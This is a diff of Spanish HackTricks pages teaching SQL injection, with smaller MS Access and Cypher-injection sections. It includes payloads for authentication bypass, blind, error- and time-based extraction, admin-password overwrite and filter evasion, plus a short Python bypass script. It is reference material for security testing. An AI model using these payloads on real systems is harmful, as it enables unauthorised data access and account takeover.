<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## ¿Qué es la inyección SQL?
Una **inyección SQL** es una vulnerabilidad de seguridad que permite a los atacantes **interferir con las consultas a la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluida la información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o la denegación de servicio.
Una **inyección SQL** es una vulnerabilidad de seguridad que permite a los atacantes **interferir con las consultas a la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluida la información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
## Detección del punto de entrada
@ -39,9 +38,9 @@ Estos son algunos ejemplos útiles:
"))
`))
```
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta puedes **introducir** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **introducir** tus datos y **agregar un símbolo de comentario al final**.
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
_Ten en cuenta que si puedes ver mensajes de error o detectar diferencias cuando una consulta está funcionando y cuando no lo está, esta fase será más fácil._
_Ten en cuenta que si puedes ver mensajes de error o puedes detectar diferencias cuando una consulta está funcionando y cuando no lo está, esta fase será más fácil._
### **Comentarios**
```sql
@ -73,7 +72,7 @@ HQL does not support comments
Un método confiable para confirmar una vulnerabilidad de inyección SQL implica ejecutar una **operación lógica** y observar los resultados esperados. Por ejemplo, un parámetro GET como `?username=Peter` que produce un contenido idéntico cuando se modifica a `?username=Peter' o '1'='1` indica una vulnerabilidad de inyección SQL.
De manera similar, la aplicación de **operaciones matemáticas** sirve como una técnica de confirmación efectiva. Por ejemplo, si al acceder a `?id=1` y `?id=2-1` se produce el mismo resultado, es indicativo de una inyección SQL.
De manera similar, la aplicación de **operaciones matemáticas** sirve como una técnica de confirmación efectiva. Por ejemplo, si al acceder a `?id=1` y `?id=2-1` se obtiene el mismo resultado, es indicativo de una inyección SQL.
Ejemplos que demuestran la confirmación mediante operaciones lógicas:
```
@ -88,7 +87,7 @@ Esta lista de palabras fue creada para intentar **confirmar inyecciones SQL** de
### Confirmación con Temporización
En algunos casos, **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tengan un **impacto en el tiempo** que la página necesita para cargarse.\
En algunos casos **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tengan un **impacto en el tiempo** que la página necesita para cargarse.\
Por lo tanto, vamos a concatenar en la consulta SQL una operación que llevará mucho tiempo en completarse:
```
MySQL (string concat and logical ops)
@ -204,18 +203,18 @@ _Existen diferentes formas de descubrir estos datos en cada base de datos, pero
## Explotando Union Based Oculto
Cuando la salida de una consulta es visible, pero una inyección basada en union parece inalcanzable, significa la presencia de una **inyección basada en union oculta**. Esta situación a menudo conduce a una inyección ciega. Para transformar una inyección ciega en una basada en union, es necesario discernir la consulta de ejecución en el backend.
Cuando la salida de una consulta es visible, pero una inyección basada en uniones parece inalcanzable, significa la presencia de una **inyección basada en uniones ocultas**. Esta situación a menudo conduce a una inyección ciega. Para transformar una inyección ciega en una basada en uniones, es necesario discernir la consulta de ejecución en el backend.
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para comprender estas tablas predeterminadas, se recomienda consultar la documentación del DBMS objetivo.
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de forma segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la nueva inyección basada en union accesible.
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de forma segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en uniones recién accesible.
Para obtener información más detallada, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Explotando Error Based
## Explotando basado en Errores
Si por alguna razón **no puedes** ver la **salida** de la **consulta** pero puedes **ver los mensajes de error**, puedes hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
Siguiendo un flujo similar al de la explotación basada en Union, podrías lograr extraer la base de datos.
Si por alguna razón **no puedes** ver la **salida** de la **consulta** pero puedes **ver los mensajes de error**, puedes utilizar estos mensajes de error para **filtrar** datos de la base de datos.\
Siguiendo un flujo similar al de la explotación basada en Uniones, podrías lograr extraer la base de datos.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
@ -234,13 +233,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Explotando SQLi basado en tiempo
En este caso **no hay** ninguna forma de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Sin embargo, puedes hacer que la página **tome más tiempo en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad de SQLi con tiempo](./#confirming-with-timing).
En este caso **no hay** ninguna forma de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Sin embargo, puedes hacer que la página **tome más tiempo en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad de SQLi](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Consultas Apiladas
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, si bien las consultas subsiguientes se ejecutan, los **resultados** no se **devuelven a la aplicación**. Por lo tanto, esta técnica se utiliza principalmente en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para desencadenar una búsqueda DNS, un error condicional o un retraso en el tiempo.
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, si bien las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica se utiliza principalmente en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para desencadenar una búsqueda DNS, un error condicional o un retraso en el tiempo.
**Oracle** no admite **consultas apiladas**. **MySQL, Microsoft** y **PostgreSQL** las admiten: `CONSULTA-1-AQUÍ; CONSULTA-2-AQUÍ`
@ -290,7 +289,7 @@ Lista para intentar evadir la funcionalidad de inicio de sesión:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Este query muestra una vulnerabilidad cuando se utiliza MD5 con true para la salida en bruto en comprobaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
Este query muestra una vulnerabilidad cuando se utiliza MD5 con true para la salida en bruto en comprobaciones de autenticación, lo que hace que el sistema sea susceptible a la inyección SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -301,14 +300,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Lista recomendada**:
Deberías usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
Debes usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
_(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK Autenticación Bypass
SI ' está siendo escapado puedes usar %A8%27, y cuando ' es escapado se creará: 0xA80x5c0x27 (_╘'_)
SI ' está siendo escapado, puedes usar %A8%27, y cuando ' es escapado se creará: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -323,7 +322,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Inyección políglota (multicontexto)
### Inyección políglota (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
@ -333,9 +332,9 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Para hacerlo, debes intentar **crear un nuevo objeto con el nombre del "objeto maestro"** (probablemente **admin** en caso de usuarios) modificando algo:
* Crear usuario con el nombre: **AdMIn** (letras mayúsculas y minúsculas)
* Crear usuario con el nombre: **AdMIn** (combinando letras mayúsculas y minúsculas)
* Crear un usuario con el nombre: **admin=**
* **Ataque de Truncamiento SQL** (cuando hay algún tipo de **límite de longitud** en el nombre de usuario o correo electrónico) --> Crear usuario con el nombre: **admin \[muchos espacios] a**
* **Ataque de Truncamiento SQL** (cuando hay algún tipo de **límite de longitud** en el nombre de usuario o correo electrónico) --> Crear usuario con el nombre: **admin \[muchos espacios]**
#### Ataque de Truncamiento SQL
@ -345,9 +344,9 @@ La base de datos **verificará** si el **nombre de usuario** introducido **exist
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Nota: Este ataque ya no funcionará como se describe en las últimas instalaciones de MySQL. Aunque las comparaciones aún ignoran los espacios en blanco al final de forma predeterminada, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error y la inserción fallará. Para obtener más información sobre esta verificación: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
_Nota: Este ataque ya no funcionará como se describe en las últimas instalaciones de MySQL. Aunque las comparaciones aún ignoran los espacios en blanco al final de forma predeterminada, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error y la inserción fallará. Para obtener más información sobre esto, consulta: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL Inserción basada en tiempo de comprobación
### Verificación basada en el tiempo de inserción de MySQL
Agrega tantos `','',''` como consideres necesario para salir de la declaración VALUES. Si se produce un retraso, tienes una Inyección SQL.
```sql
@ -359,15 +358,21 @@ La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acci
Ejemplo de Inyección de Carga Útil:
Una carga útil de inyección podría ser creada de la siguiente manera, donde se intentan insertar dos filas en la tabla `users`. La primera fila es una distracción, y la segunda fila apunta al correo electrónico de un administrador existente con la intención de actualizar la contraseña:
Una carga útil de inyección podría ser creada de la siguiente manera, donde se intenta insertar dos filas en la tabla `users`. La primera fila es una distracción, y la segunda fila apunta al correo electrónico de un administrador existente con la intención de actualizar la contraseña:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
### Extracción de información
### Cómo funciona:
#### Creación de 2 cuentas al mismo tiempo
- La consulta intenta insertar dos filas: una para `generic_user@example.com` y otra para `admin_generic@example.com`.
- Si la fila para `admin_generic@example.com` ya existe, se activa la cláusula `ON DUPLICATE KEY UPDATE`, instruyendo a MySQL para actualizar el campo `password` de la fila existente a "bcrypt_hash_of_newpassword".
- En consecuencia, la autenticación puede intentarse utilizando `admin_generic@example.com` con la contraseña correspondiente al hash bcrypt ("bcrypt_hash_of_newpassword" representa el hash bcrypt de la nueva contraseña, que debe ser reemplazado por el hash real de la contraseña deseada).
Cuando se intenta crear un nuevo usuario y nombre de usuario, se necesitan la contraseña y el correo electrónico:
### Extraer información
#### Crear 2 cuentas al mismo tiempo
Cuando se intenta crear un nuevo usuario y se necesitan nombre de usuario, contraseña y correo electrónico:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -416,7 +421,7 @@ Ejemplo:
### Bypass sin espacios
Sin espacio (%20) - bypass utilizando alternativas de espaciado
Sin Espacios (%20) - bypass utilizando alternativas de espaciado
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -427,13 +432,13 @@ Sin espacio (%20) - bypass utilizando alternativas de espaciado
```
### No Whitespace - bypass usando comentarios
En algunos casos, los filtros de entrada pueden bloquear ciertos caracteres, como espacios en blanco, para evitar inyecciones SQL. En tales situaciones, se puede intentar usar comentarios SQL para evitar los filtros y ejecutar con éxito una inyección SQL. Por ejemplo, en lugar de usar espacios en blanco, se pueden usar comentarios SQL (`--` o `#`) para separar palabras clave y funciones en una consulta SQL.
En algunos casos, los filtros pueden estar configurados para bloquear ciertas palabras clave o caracteres, como `'OR'` o `'--'`, para prevenir inyecciones SQL. En tales situaciones, se puede intentar usar comentarios para evitar estas restricciones. Por ejemplo, en lugar de `'OR'`, se puede usar `'O/**/R'`, lo que permite que la consulta pase desapercibida para los filtros de palabras clave.
```sql
?id=1/*comment*/and/**/1=1/**/--
```
### Sin espacios - eludir usando paréntesis
En algunos casos, es posible eludir las restricciones de entrada que prohíben el uso de espacios en una inyección SQL al utilizar paréntesis. Esto se logra al rodear las palabras clave y operadores con paréntesis para evitar la necesidad de espacios. Por ejemplo, en lugar de `UNION SELECT`, se puede escribir como `(UNION)SELECT`. Este enfoque puede ser útil cuando se intenta realizar una inyección SQL en un campo que filtra los espacios en blanco.
En algunos casos, es posible eludir las restricciones de entrada que prohíben el uso de espacios en una inyección SQL mediante el uso de paréntesis. Esto se puede lograr envolviendo las palabras clave y los operadores en paréntesis para evitar la necesidad de espacios. Por ejemplo, en lugar de usar `UNION SELECT`, se puede usar `(UNION)SELECT` para lograr el mismo resultado sin necesidad de espacios.
```sql
?id=(1)and(1)=(1)--
```
@ -474,7 +479,7 @@ Básicamente puedes usar la notación científica de formas inesperadas para eva
En primer lugar, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas**, podrías simplemente hacer: `0 UNION SELECT * FROM flag`
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, por lo que en una inyección sql se vería así:
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, por lo tanto, en una inyección sql se vería así:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -490,7 +495,7 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Otras Guías
## Otros Guías
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
@ -505,18 +510,18 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Revisa los siguientes blogs:
Consulta los siguientes blogs:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Entorno de Práctica en Línea
## Playground en Línea
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitaciones de la BD
## Limitaciones de la Base de Datos
### Concatenación de Cadenas
@ -29,11 +29,11 @@ La concatenación de cadenas es posible con los caracteres `& (%26)` y `+ (%2b)`
```
### Comentarios
No hay comentarios en MS Access, pero aparentemente es posible eliminar el final de una consulta con un carácter NULL:
No hay comentarios en MS Access, pero aparentemente es posible eliminar el último de una consulta con un carácter NULL:
```sql
1' union select 1,2 from table%00
```
Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
Si esto no funciona, siempre puedes corregir la sintaxis de la consulta:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
@ -43,56 +43,92 @@ No son compatibles.
### LIMIT
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a **las primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas a devolver.
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a las **primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un número entero, que representa la cantidad de filas a ser devueltas.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Al igual que **`TOP`**, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
Al igual que TOP, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
## Consultas UNION/Subconsultas
## Consultas de UNION/Subconsultas
En un SQLi, generalmente querrás ejecutar una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
En un SQLi generalmente querrás ejecutar de alguna manera una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Por lo tanto, si deseas ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **necesitas indicar un `FROM` con un nombre de tabla válido**.\
Por lo tanto, necesitas conocer un **nombre de tabla válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Encadenamiento de igualdades + Subcadena
### Encadenamiento de igualdad + Subcadena
{% hint style="warning" %}
Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
{% endhint %}
**MS Access** permite una **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como usualmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de eso.
